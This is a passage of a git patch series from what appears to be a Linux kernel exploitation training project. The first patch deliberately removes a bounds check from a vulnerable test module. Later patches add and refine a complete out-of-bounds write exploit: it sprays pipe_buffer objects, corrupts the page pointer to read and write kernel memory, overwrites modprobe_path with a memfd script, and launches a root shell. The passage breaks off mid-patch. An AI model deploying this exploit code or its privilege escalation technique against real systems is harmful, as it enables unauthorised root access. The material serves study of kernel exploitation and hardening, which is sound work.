From 0787ba9b8b774af931577a20d1be0386db80be1c Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Fri, 27 Mar 2026 15:44:20 +1000 Subject: [PATCH 01/31] feat(mod): intorduce out-of-bounds write primitive for drill_item --- drill_mod.c | 5 ----- drill_test.c | 8 -------- 2 files changed, 13 deletions(-) diff --git a/drill_mod.c b/drill_mod.c index c556158..70e1d20 100644 --- a/drill_mod.c +++ b/drill_mod.c @@ -89,11 +89,6 @@ static int drill_act_exec(long act, char *arg1_str, char *arg2_str, char *arg3_s return -EINVAL; } - if (offset > DRILL_ITEM_SIZE - sizeof(struct drill_item_t) - sizeof(val)) { - pr_err("drill: save_val: oob offset %ld\n", offset); - return -EINVAL; - } - data_addr = (unsigned long *)(drill.items[n]->data + offset); pr_notice("drill: save val 0x%lx to item %lu (0x%lx) at data offset %ld (0x%lx)\n", val, n, (unsigned long)drill.items[n], offset, (unsigned long)data_addr); diff --git a/drill_test.c b/drill_test.c index a37bb95..122de15 100644 --- a/drill_test.c +++ b/drill_test.c @@ -173,14 +173,6 @@ int main(void) goto end; } - err_act = "3 50 0x55 0xffffffffffff"; - printf("using DRILL_ACT_SAVE_VAL with huge offset: %s\n", err_act); - bytes = write(fd, err_act, strlen(err_act) + 1); - if (bytes >= 0) { - ret = EXIT_FAILURE; - goto end; - } - printf("[+] looks like error handling in drill.ko works fine\n"); ret = EXIT_SUCCESS; From b785a16377069ee3e927de79a8d39ac685133189 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Tue, 9 Dec 2025 19:21:43 +1000 Subject: [PATCH 02/31] feat(oobw): out-of-bounds write exploit built --- Makefile | 2 + drill_oob_w_pipe_buffer.c | 368 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 370 insertions(+) create mode 100644 drill_oob_w_pipe_buffer.c diff --git a/Makefile b/Makefile index 5adc480..486e973 100644 --- a/Makefile +++ b/Makefile @@ -14,6 +14,7 @@ all: gcc drill_uaf_w_pipe_buffer.c -Wall -static -o drill_uaf_w_pipe_buffer gcc drill_uaf_w_pte.c -Wall -static -o drill_uaf_w_pte -lrt -lpthread gcc drill_uaf_w_pud.c -Wall -static -o drill_uaf_w_pud -lrt -lpthread + gcc drill_oob_w_pipe_buffer.c -Wall -static -o drill_oob_w_pipe_buffer make -C $(KPATH) M=$(PWD) modules clean: @@ -26,3 +27,4 @@ clean: rm drill_uaf_w_pipe_buffer rm drill_uaf_w_pte rm drill_uaf_w_pud + rm drill_oob_w_pipe_buffer diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c new file mode 100644 index 0000000..a6858d9 --- /dev/null +++ b/drill_oob_w_pipe_buffer.c @@ -0,0 +1,368 @@ +/* + * Funny experiments with Linux kernel exploitation: + * a basic out-of-bounds write exploit performs out-of-bounds write + * to overwrite `pipe_buffer`->page pointer with arbitrary value, + * allowing the attacker to write and read arbitrary memory. + * + * Only basic methods. Just for fun. + * + * 1) Use Linux kernel version tagged as `v6.18` (7d0a66e4bb9081d75c82ec4957c50034cb0ea449) + * + * 2) Use gcc version 13.3.0 + * + * 3) Change these options in `defconfig`: + * - CONFIG_CONFIGFS_FS=y + * - CONFIG_SECURITYFS=y + * - CONFIG_DEBUG_INFO=y + * - CONFIG_DEBUG_INFO_DWARF5=y + * - CONFIG_GDB_SCRIPTS=y + * + * 4) Ensure that these options are disabled: + * - CONFIG_RANDOM_KMALLOC_CACHES (to allow naive heap spraying) + * + * 5) Compile the kernel and run the VM with the needed settings: + * - Run qemu with "-cpu qemu64,+smep,+smap" + * - Run the kernel with "pti=on nokaslr" + */ + +#define _GNU_SOURCE + +#include "drill.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* clang-format off */ +#define PB_PER_SLAB_SLOT 2 +#define SLAB_TO_FILL 10 +#define OBJS_PER_SLAB 42 +#define PIPES_N OBJS_PER_SLAB *SLAB_TO_FILL +#define PIPE_CAPACITY PAGE_SIZE *PB_PER_SLAB_SLOT + +#define KMOD_PATH_LEN 256 +#define MODPROBE_PTR 0xffffffff82d486e0UL + +#define VIRTUAL_TO_PAGE(addr) \ + ((((addr) - 0xffffffff80000000UL) / 0x1000) * 0x40 + 0xffffea0000000000UL) +/* clang-format on */ + +void trigger_modprobe_sock(void) +{ + struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "dummy" }; + int alg_fd = -1; + + printf("[!] Triggering modprobe using AF_ALG socket to launch the root shell...\n"); + alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); + printf("[!] Root shell is finished\n"); + + if (alg_fd >= 0) { + if (close(alg_fd) < 0) + perror("[-] close alg_fd"); + } +} + +int prepare_privesc_script(char *path, size_t path_size) +{ + pid_t pid = getpid(); + int script_fd = -1; + int shell_stdin_fd = -1; + int shell_stdout_fd = -1; + int ret = EXIT_FAILURE; + + script_fd = memfd_create("", MFD_CLOEXEC); + if (script_fd < 0) { + perror("[-] memfd_create"); + return EXIT_FAILURE; + } + + shell_stdin_fd = dup(STDIN_FILENO); + if (shell_stdin_fd < 0) { + perror("[-] dup"); + return EXIT_FAILURE; + } + + shell_stdout_fd = dup(STDOUT_FILENO); + if (shell_stdout_fd < 0) { + perror("[-] dup"); + return EXIT_FAILURE; + } + + ret = dprintf(script_fd, "#!/bin/sh\n/bin/sh 0/proc/%u/fd/%u 2>&1\n", pid, + shell_stdin_fd, pid, shell_stdout_fd); + if (ret < 0) { + perror("[-] dprintf for privesc_script"); + return EXIT_FAILURE; + } + + ret = lseek(script_fd, 0, SEEK_SET); + if (ret < 0) { + perror("[-] lseek for privesc_script"); + return EXIT_FAILURE; + } + + ret = snprintf(path, path_size, "/proc/%i/fd/%i", pid, script_fd); + if (ret < 0) { + perror("[-] snprintf for privesc_script path"); + return EXIT_FAILURE; + } + if (ret >= path_size) { + printf("[-] snprintf for privesc_script path: truncated\n"); + return EXIT_FAILURE; + } + + printf("[+] privesc script is prepared at %s\n", path); + return EXIT_SUCCESS; +} + +int get_modprobe_path(char *buf, size_t buf_size) +{ + int fd = -1; + ssize_t bytes = 0; + int ret = EXIT_FAILURE; + size_t len = 0; + + fd = open("/proc/sys/kernel/modprobe", O_RDONLY); + if (fd < 0) { + perror("[-] open modprobe"); + return EXIT_FAILURE; + } + + bytes = read(fd, buf, buf_size); + buf[buf_size - 1] = 0; + + ret = close(fd); + if (ret != 0) + perror("[-] close modprobe"); + + if (bytes < 0) { + perror("[-] read modprobe"); + return EXIT_FAILURE; + } + + len = strlen(buf); + if (len < 1) { + printf("[-] invalid contents of /proc/sys/kernel/modprobe\n"); + return EXIT_FAILURE; + } + if (buf[len - 1] != '\n') { + printf("[-] unexpected contents of /proc/sys/kernel/modprobe\n"); + return EXIT_FAILURE; + } + buf[len - 1] = 0; /* skip the line feed '\n' */ + + return EXIT_SUCCESS; +} + +int do_cpu_pinning(int cpu_n) +{ + int ret = 0; + cpu_set_t single_cpu; + + CPU_ZERO(&single_cpu); + CPU_SET(cpu_n, &single_cpu); + + ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu); + if (ret != 0) { + perror("[-] sched_setaffinity"); + return EXIT_FAILURE; + } + + printf("[+] pinned to CPU #%d\n", cpu_n); + return EXIT_SUCCESS; +} + +int act(int act_fd, int code, int n, char *args) +{ + char buf[DRILL_ACT_SIZE] = { 0 }; + size_t len = 0; + ssize_t bytes = 0; + + if (args) + snprintf(buf, DRILL_ACT_SIZE, "%d %d %s", code, n, args); + else + snprintf(buf, DRILL_ACT_SIZE, "%d %d", code, n); + + len = strlen(buf) + 1; /* with null byte */ + assert(len <= DRILL_ACT_SIZE); + + bytes = write(act_fd, buf, len); + if (bytes <= 0) { + perror("[-] write"); + return EXIT_FAILURE; + } + if (bytes != len) { + printf("[-] wrote only %zd bytes to drill_act\n", bytes); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} + +int main(void) +{ + bool success = false; + char err_act[64]; + char modprobe_path[KMOD_PATH_LEN] = { 0 }; + char pipe_data[PIPE_CAPACITY]; + char privesc_script_path[KMOD_PATH_LEN] = { 0 }; + int act_fd = -1, pipe_ret = -1; + int ret = EXIT_FAILURE; + int pipe_fds[PIPES_N][2]; + + ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); + if (ret == EXIT_FAILURE) + goto end; + + ret = prepare_privesc_script(privesc_script_path, sizeof(privesc_script_path)); + if (ret == EXIT_FAILURE) + goto end; + + act_fd = open("/proc/drill_act", O_WRONLY); + if (act_fd < 0) { + perror("[-] open drill_act"); + goto end; + } + printf("[+] drill_act is opened\n"); + + if (do_cpu_pinning(0) == EXIT_FAILURE) + goto end; + + for (int i = 0; i < PIPES_N; i++) { + pipe_ret = pipe(pipe_fds[i]); + if (pipe_ret < 0) { + perror("[-] pipe"); + goto end; + } + } + printf("[+] Opened pipes\n"); + + memset(pipe_data, 0, sizeof(pipe_data)); + + for (int i = 0; i < PIPES_N; i++) { + /* place vulnerable drill_item between pipe_buffer */ + ret = act(act_fd, DRILL_ACT_ALLOC, i, NULL); + if (ret == EXIT_FAILURE) { + perror("[-] drill spray"); + goto end; + } + /* + * A `drill_item` object allocated in kmalloc-96 cache. It is known that the size of the + * `pipe_buffer' is 40 bytes, which means that we need two of them to reach kmalloc-96. + */ + ret = fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_CAPACITY); + if (ret != PIPE_CAPACITY) { + perror("[-] fcntl"); + goto end; + } + if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { + perror("[-] write"); + goto end; + } + } + printf("[+] Sprayed pipe_buffers in kmalloc-96\n"); + + printf("[*] Trying to corrupt `pipe_buffer`...\n"); + for (int d = 0; d < PIPES_N; d++) { + snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", d, + VIRTUAL_TO_PAGE(MODPROBE_PTR)); + ret = write(act_fd, err_act, strlen(err_act) + 1); + if (ret <= 0) { + ret = EXIT_FAILURE; + goto end; + } + + printf("[*] Trying to leak modprobe_path...\n"); + for (int i = 0; i < PIPES_N; i++) { + ret = read(pipe_fds[i][0], pipe_data, sizeof(pipe_data)); + if (ret < 0) { + perror("[-] read"); + goto end; + } + for (int j = 0; j <= (sizeof(pipe_data) - sizeof(modprobe_path)); j += 8) { + /* clang-format off */ + if (memcmp(pipe_data + j, modprobe_path, sizeof(modprobe_path)) == 0) { + printf("[+] Located \"%s\" at offset 0x%lx of pipe #%d\n", + modprobe_path, (unsigned long)j, i); + memcpy(pipe_data + j, privesc_script_path, + sizeof(privesc_script_path)); + if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { + perror("[-] write"); + goto end; + } /* clang-format on */ + success = true; + break; + } + } + if (success) + break; + else { + /* + * If we scan current pipe and it is not corrupted, + * we will write back exactly the same data we read. + * It helps to read pipes many times properly. + */ + if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { + perror("[-] write"); + goto end; + } + } + } + if (success) + break; + else + printf("[-] Unable to leak modprobe_path. Trying again!\n"); + } + + if (!success) { + printf("[-] Unable to leak modprobe_path"); + goto end; + } + + ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); + if (ret == EXIT_FAILURE) + goto end; + printf("[+] Overwrote modprobe_path successfully: \"%s\"\n", modprobe_path); + + trigger_modprobe_sock(); + ret = EXIT_SUCCESS; + +end: + if (pipe_ret >= 0) { + for (int i = 0; i < PIPES_N; i++) { + if (pipe_fds[i][0] >= 0) { + ret = close(pipe_fds[i][0]); + if (ret != 0) + perror("[-] close pipe"); + } + if (pipe_fds[i][1] >= 0) { + ret = close(pipe_fds[i][1]); + if (ret != 0) + perror("[-] close pipe"); + } + } + } + + if (act_fd >= 0) { + ret = close(act_fd); + if (ret != 0) + perror("[-] close act_fd"); + } + + if (ret == EXIT_FAILURE) { + printf("\n[-] Exploit failed!\n"); + return ret; + } else { + printf("\n[+] The end! \n"); + return ret; + } +} From d917d881575afc65c8c95a35c45b0765bcc44ef2 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Thu, 15 Jan 2026 13:55:12 +1000 Subject: [PATCH 03/31] feat(oobw): repair modprobe_path --- drill_oob_w_pipe_buffer.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index a6858d9..02550e1 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -71,7 +71,7 @@ void trigger_modprobe_sock(void) } } -int prepare_privesc_script(char *path, size_t path_size) +int prepare_privesc_script(char *path, size_t path_size, char *modprobe_path) { pid_t pid = getpid(); int script_fd = -1; @@ -97,8 +97,12 @@ int prepare_privesc_script(char *path, size_t path_size) return EXIT_FAILURE; } - ret = dprintf(script_fd, "#!/bin/sh\n/bin/sh 0/proc/%u/fd/%u 2>&1\n", pid, - shell_stdin_fd, pid, shell_stdout_fd); + ret = dprintf(script_fd, + "#!/bin/sh\n" + "echo \"%s\" > /proc/sys/kernel/modprobe\n" + "/bin/sh 0/proc/%u/fd/%u 2>&1\n", + modprobe_path, pid, shell_stdin_fd, pid, shell_stdout_fd); + if (ret < 0) { perror("[-] dprintf for privesc_script"); return EXIT_FAILURE; @@ -223,7 +227,8 @@ int main(void) if (ret == EXIT_FAILURE) goto end; - ret = prepare_privesc_script(privesc_script_path, sizeof(privesc_script_path)); + ret = prepare_privesc_script(privesc_script_path, sizeof(privesc_script_path), + modprobe_path); if (ret == EXIT_FAILURE) goto end; From b43b51c2664e7db7612fc968e4e610a466deb640 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Tue, 9 Dec 2025 19:22:15 +1000 Subject: [PATCH 04/31] update(README.md): update README.md according to new oobw exploit --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 425dfe3..40575ef 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,7 @@ __Contents:__ | __drill_uaf_w_pipe_buffer.c__ | a basic a UAF exploit that writes into a freed `drill_item_t`; it performs a cross-cache attack and overwrites `pipe_buffer.flags` to implement the Dirty Pipe technique and gain LPE | | __drill_uaf_w_pte.c__ | a basic UAF exploit that writes to a freed `drill_item_t`; it performs a cross-allocator attack and overwrites a page table entry (PTE) to implement the Dirty Pagetable technique and gain LPE on `x86_64` | | __drill_uaf_w_pud.c__ | an improved version of `drill_uaf_w_pte.c` that overwrites an entry in Page Directory Pointer Table (PDPT), which is called Page Upper Directory (PUD) in the Linux kernel; that allows to implement the Dirty Pagetable attack via huge pages | +| __drill_oob_w_pipe_buffer.c__ | basic OOBW exploit performs out-of-bounds write to overwrite `pipe_buffer`->page pointer with arbitrary value, allowing the attacker to perform LPE via overwriting `modprobe_path`. | N.B. Only basic exploit techniques here. From 325c51023d4beb4388f414040aea6c4c836639e7 Mon Sep 17 00:00:00 2001 From: Alexander Popov Date: Mon, 19 Jan 2026 11:05:05 +0300 Subject: [PATCH 05/31] Style fixes --- drill_oob_w_pipe_buffer.c | 41 +++++++++++++++++++-------------------- drill_uaf_w_pte.c | 2 +- drill_uaf_w_pud.c | 2 +- 3 files changed, 22 insertions(+), 23 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 02550e1..a003454 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -1,12 +1,11 @@ /* * Funny experiments with Linux kernel exploitation: - * a basic out-of-bounds write exploit performs out-of-bounds write - * to overwrite `pipe_buffer`->page pointer with arbitrary value, - * allowing the attacker to write and read arbitrary memory. + * a basic out-of-bounds writing exploit corrupting the `pipe_buffer.page` pointer + * to perform arbitrary address reading and writing (AARW) of kernel memory via a pipe. * * Only basic methods. Just for fun. * - * 1) Use Linux kernel version tagged as `v6.18` (7d0a66e4bb9081d75c82ec4957c50034cb0ea449) + * 1) Use Linux kernel version v6.18 tag (7d0a66e4bb9081d75c82ec4957c50034cb0ea449) * * 2) Use gcc version 13.3.0 * @@ -60,10 +59,10 @@ void trigger_modprobe_sock(void) struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "dummy" }; int alg_fd = -1; - printf("[!] Triggering modprobe using AF_ALG socket to launch the root shell...\n"); + printf("[!] triggering modprobe using AF_ALG socket to launch the root shell...\n"); alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); - printf("[!] Root shell is finished\n"); + printf("[!] root shell is finished\n"); if (alg_fd >= 0) { if (close(alg_fd) < 0) @@ -102,7 +101,6 @@ int prepare_privesc_script(char *path, size_t path_size, char *modprobe_path) "echo \"%s\" > /proc/sys/kernel/modprobe\n" "/bin/sh 0/proc/%u/fd/%u 2>&1\n", modprobe_path, pid, shell_stdin_fd, pid, shell_stdout_fd); - if (ret < 0) { perror("[-] dprintf for privesc_script"); return EXIT_FAILURE; @@ -214,13 +212,14 @@ int act(int act_fd, int code, int n, char *args) int main(void) { + int ret = EXIT_FAILURE; + char modprobe_path[KMOD_PATH_LEN] = { 0 }; + char privesc_script_path[KMOD_PATH_LEN] = { 0 }; + int act_fd = -1; bool success = false; char err_act[64]; - char modprobe_path[KMOD_PATH_LEN] = { 0 }; char pipe_data[PIPE_CAPACITY]; - char privesc_script_path[KMOD_PATH_LEN] = { 0 }; - int act_fd = -1, pipe_ret = -1; - int ret = EXIT_FAILURE; + int pipe_ret = -1; int pipe_fds[PIPES_N][2]; ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); @@ -249,7 +248,7 @@ int main(void) goto end; } } - printf("[+] Opened pipes\n"); + printf("[+] opened pipes\n"); memset(pipe_data, 0, sizeof(pipe_data)); @@ -274,9 +273,9 @@ int main(void) goto end; } } - printf("[+] Sprayed pipe_buffers in kmalloc-96\n"); + printf("[+] sprayed pipe_buffers in kmalloc-96\n"); - printf("[*] Trying to corrupt `pipe_buffer`...\n"); + printf("[*] trying to corrupt `pipe_buffer`...\n"); for (int d = 0; d < PIPES_N; d++) { snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", d, VIRTUAL_TO_PAGE(MODPROBE_PTR)); @@ -286,7 +285,7 @@ int main(void) goto end; } - printf("[*] Trying to leak modprobe_path...\n"); + printf("[*] trying to leak modprobe_path...\n"); for (int i = 0; i < PIPES_N; i++) { ret = read(pipe_fds[i][0], pipe_data, sizeof(pipe_data)); if (ret < 0) { @@ -296,7 +295,7 @@ int main(void) for (int j = 0; j <= (sizeof(pipe_data) - sizeof(modprobe_path)); j += 8) { /* clang-format off */ if (memcmp(pipe_data + j, modprobe_path, sizeof(modprobe_path)) == 0) { - printf("[+] Located \"%s\" at offset 0x%lx of pipe #%d\n", + printf("[+] located \"%s\" at offset 0x%lx of pipe #%d\n", modprobe_path, (unsigned long)j, i); memcpy(pipe_data + j, privesc_script_path, sizeof(privesc_script_path)); @@ -325,18 +324,18 @@ int main(void) if (success) break; else - printf("[-] Unable to leak modprobe_path. Trying again!\n"); + printf("[-] unable to leak modprobe_path. Trying again!\n"); } if (!success) { - printf("[-] Unable to leak modprobe_path"); + printf("[-] unable to leak modprobe_path"); goto end; } ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); if (ret == EXIT_FAILURE) goto end; - printf("[+] Overwrote modprobe_path successfully: \"%s\"\n", modprobe_path); + printf("[+] overwrote modprobe_path successfully: \"%s\"\n", modprobe_path); trigger_modprobe_sock(); ret = EXIT_SUCCESS; @@ -364,10 +363,10 @@ int main(void) } if (ret == EXIT_FAILURE) { - printf("\n[-] Exploit failed!\n"); + printf("\n[-] exploit failed!\n"); return ret; } else { - printf("\n[+] The end! \n"); + printf("\n[+] the end! \n"); return ret; } } diff --git a/drill_uaf_w_pte.c b/drill_uaf_w_pte.c index 86578b1..b71aed1 100644 --- a/drill_uaf_w_pte.c +++ b/drill_uaf_w_pte.c @@ -386,7 +386,7 @@ void trigger_modprobe_sock(void) struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "dummy" }; int alg_fd = -1; - printf("[!] gonna trigger modprobe using AF_ALG socket and launch the root shell\n"); + printf("[!] triggering modprobe using AF_ALG socket to launch the root shell...\n"); alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); printf("[!] root shell is finished\n"); diff --git a/drill_uaf_w_pud.c b/drill_uaf_w_pud.c index 993cf9c..ca01095 100644 --- a/drill_uaf_w_pud.c +++ b/drill_uaf_w_pud.c @@ -459,7 +459,7 @@ void trigger_modprobe_sock(void) struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "dummy" }; int alg_fd = -1; - printf("[!] gonna trigger modprobe using AF_ALG socket and launch the root shell\n"); + printf("[!] triggering modprobe using AF_ALG socket to launch the root shell...\n"); alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); printf("[!] root shell is finished\n"); From d1a32420599dbb4cc2c8c3ad8494f113c0ad8cba Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Mon, 16 Feb 2026 08:02:43 +1000 Subject: [PATCH 06/31] review(oobw): order variables properly --- drill_oob_w_pipe_buffer.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index a003454..07f7023 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -216,11 +216,11 @@ int main(void) char modprobe_path[KMOD_PATH_LEN] = { 0 }; char privesc_script_path[KMOD_PATH_LEN] = { 0 }; int act_fd = -1; - bool success = false; - char err_act[64]; char pipe_data[PIPE_CAPACITY]; int pipe_ret = -1; int pipe_fds[PIPES_N][2]; + char err_act[64]; + bool success = false; ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); if (ret == EXIT_FAILURE) From 4823625158817d901a4e460cf97510ce85da8304 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Mon, 16 Feb 2026 08:04:01 +1000 Subject: [PATCH 07/31] review(oobw): improve README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 40575ef..855e19f 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ __Contents:__ | __drill_uaf_w_pipe_buffer.c__ | a basic a UAF exploit that writes into a freed `drill_item_t`; it performs a cross-cache attack and overwrites `pipe_buffer.flags` to implement the Dirty Pipe technique and gain LPE | | __drill_uaf_w_pte.c__ | a basic UAF exploit that writes to a freed `drill_item_t`; it performs a cross-allocator attack and overwrites a page table entry (PTE) to implement the Dirty Pagetable technique and gain LPE on `x86_64` | | __drill_uaf_w_pud.c__ | an improved version of `drill_uaf_w_pte.c` that overwrites an entry in Page Directory Pointer Table (PDPT), which is called Page Upper Directory (PUD) in the Linux kernel; that allows to implement the Dirty Pagetable attack via huge pages | -| __drill_oob_w_pipe_buffer.c__ | basic OOBW exploit performs out-of-bounds write to overwrite `pipe_buffer`->page pointer with arbitrary value, allowing the attacker to perform LPE via overwriting `modprobe_path`. | +| __drill_oob_w_pipe_buffer.c__ | a basic OOBW exploit that corrupts the `pipe_buffer.page` pointer to perform AARW of kernel memory via a pipe and gains LPE. | N.B. Only basic exploit techniques here. From c59b32d5eb46df375b64c4b8e36f589c33fba90d Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Mon, 16 Feb 2026 10:16:30 +1000 Subject: [PATCH 08/31] review(oobw): simpilfy the code --- drill_oob_w_pipe_buffer.c | 44 ++++++++++++++++++++++++--------------- 1 file changed, 27 insertions(+), 17 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index 07f7023..b7bf8cf 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -210,6 +210,28 @@ int act(int act_fd, int code, int n, char *args) return EXIT_SUCCESS; } +int search_and_overwrite_modprobe(int pipe_fds[PIPES_N][2], char *pipe_data, + const char *modprobe_path, const char *privesc_script_path, + int victim_pipe) +{ + size_t modprobe_len = strlen(modprobe_path); + size_t script_len = strlen(privesc_script_path); + + for (int j = 0; j <= (PIPE_CAPACITY - modprobe_len); j += 8) { + if (memcmp(pipe_data + j, modprobe_path, modprobe_len) == 0) { + printf("[+] located \"%s\" at offset 0x%lx of pipe #%d\n", modprobe_path, + (unsigned long)j, victim_pipe); + memcpy(pipe_data + j, privesc_script_path, script_len); + if (write(pipe_fds[victim_pipe][1], pipe_data, PIPE_CAPACITY) < 0) { + perror("[-] write"); + exit(EXIT_FAILURE); + } + return EXIT_SUCCESS; + } + } + return EXIT_FAILURE; +} + int main(void) { int ret = EXIT_FAILURE; @@ -292,24 +314,12 @@ int main(void) perror("[-] read"); goto end; } - for (int j = 0; j <= (sizeof(pipe_data) - sizeof(modprobe_path)); j += 8) { - /* clang-format off */ - if (memcmp(pipe_data + j, modprobe_path, sizeof(modprobe_path)) == 0) { - printf("[+] located \"%s\" at offset 0x%lx of pipe #%d\n", - modprobe_path, (unsigned long)j, i); - memcpy(pipe_data + j, privesc_script_path, - sizeof(privesc_script_path)); - if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { - perror("[-] write"); - goto end; - } /* clang-format on */ - success = true; - break; - } - } - if (success) + ret = search_and_overwrite_modprobe(pipe_fds, pipe_data, modprobe_path, + privesc_script_path, i); + if (ret == EXIT_SUCCESS) { + success = true; break; - else { + } else { /* * If we scan current pipe and it is not corrupted, * we will write back exactly the same data we read. From 1ceb1e17d5daff0945fe810b7bfce408cc5d3fc4 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Mon, 16 Feb 2026 10:35:12 +1000 Subject: [PATCH 09/31] review(oobw): simpilfy the attack --- drill_oob_w_pipe_buffer.c | 71 ++++++++++++++++++--------------------- 1 file changed, 32 insertions(+), 39 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index b7bf8cf..e4cc2a2 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -271,16 +271,16 @@ int main(void) } } printf("[+] opened pipes\n"); - memset(pipe_data, 0, sizeof(pipe_data)); + /* place vulnerable drill_item before pipe_buffers */ + ret = act(act_fd, DRILL_ACT_ALLOC, 0, NULL); + if (ret == EXIT_FAILURE) { + perror("[-] drill spray"); + goto end; + } + for (int i = 0; i < PIPES_N; i++) { - /* place vulnerable drill_item between pipe_buffer */ - ret = act(act_fd, DRILL_ACT_ALLOC, i, NULL); - if (ret == EXIT_FAILURE) { - perror("[-] drill spray"); - goto end; - } /* * A `drill_item` object allocated in kmalloc-96 cache. It is known that the size of the * `pipe_buffer' is 40 bytes, which means that we need two of them to reach kmalloc-96. @@ -298,43 +298,36 @@ int main(void) printf("[+] sprayed pipe_buffers in kmalloc-96\n"); printf("[*] trying to corrupt `pipe_buffer`...\n"); - for (int d = 0; d < PIPES_N; d++) { - snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", d, - VIRTUAL_TO_PAGE(MODPROBE_PTR)); - ret = write(act_fd, err_act, strlen(err_act) + 1); - if (ret <= 0) { - ret = EXIT_FAILURE; + snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", 0, VIRTUAL_TO_PAGE(MODPROBE_PTR)); + ret = write(act_fd, err_act, strlen(err_act) + 1); + if (ret <= 0) { + ret = EXIT_FAILURE; + goto end; + } + + printf("[*] trying to leak modprobe_path...\n"); + for (int i = 0; i < PIPES_N; i++) { + ret = read(pipe_fds[i][0], pipe_data, sizeof(pipe_data)); + if (ret < 0) { + perror("[-] read"); goto end; } - - printf("[*] trying to leak modprobe_path...\n"); - for (int i = 0; i < PIPES_N; i++) { - ret = read(pipe_fds[i][0], pipe_data, sizeof(pipe_data)); - if (ret < 0) { - perror("[-] read"); + ret = search_and_overwrite_modprobe(pipe_fds, pipe_data, modprobe_path, + privesc_script_path, i); + if (ret == EXIT_SUCCESS) { + success = true; + break; + } else { + /* + * If we scan current pipe and it is not corrupted, + * we will write back exactly the same data we read. + * It helps to read pipes many times properly. + */ + if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { + perror("[-] write"); goto end; } - ret = search_and_overwrite_modprobe(pipe_fds, pipe_data, modprobe_path, - privesc_script_path, i); - if (ret == EXIT_SUCCESS) { - success = true; - break; - } else { - /* - * If we scan current pipe and it is not corrupted, - * we will write back exactly the same data we read. - * It helps to read pipes many times properly. - */ - if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) { - perror("[-] write"); - goto end; - } - } } - if (success) - break; - else - printf("[-] unable to leak modprobe_path. Trying again!\n"); } if (!success) { From 9dcec23a7570d144e275b5685c27dd46a8e3a252 Mon Sep 17 00:00:00 2001 From: valera disgrace Date: Mon, 16 Feb 2026 10:39:45 +1000 Subject: [PATCH 10/31] fix(oobw): overwite checking, missing \n --- drill_oob_w_pipe_buffer.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/drill_oob_w_pipe_buffer.c b/drill_oob_w_pipe_buffer.c index e4cc2a2..31e7665 100644 --- a/drill_oob_w_pipe_buffer.c +++ b/drill_oob_w_pipe_buffer.c @@ -331,15 +331,18 @@ int main(void) } if (!success) { - printf("[-] unable to leak modprobe_path"); + printf("[-] unable to leak modprobe_path\n"); goto end; } ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path)); - if (ret == EXIT_FAILURE) + if (ret == EXIT_FAILURE || strcmp(modprobe_path, privesc_script_path) != 0) { + printf("[-] modprobe_path 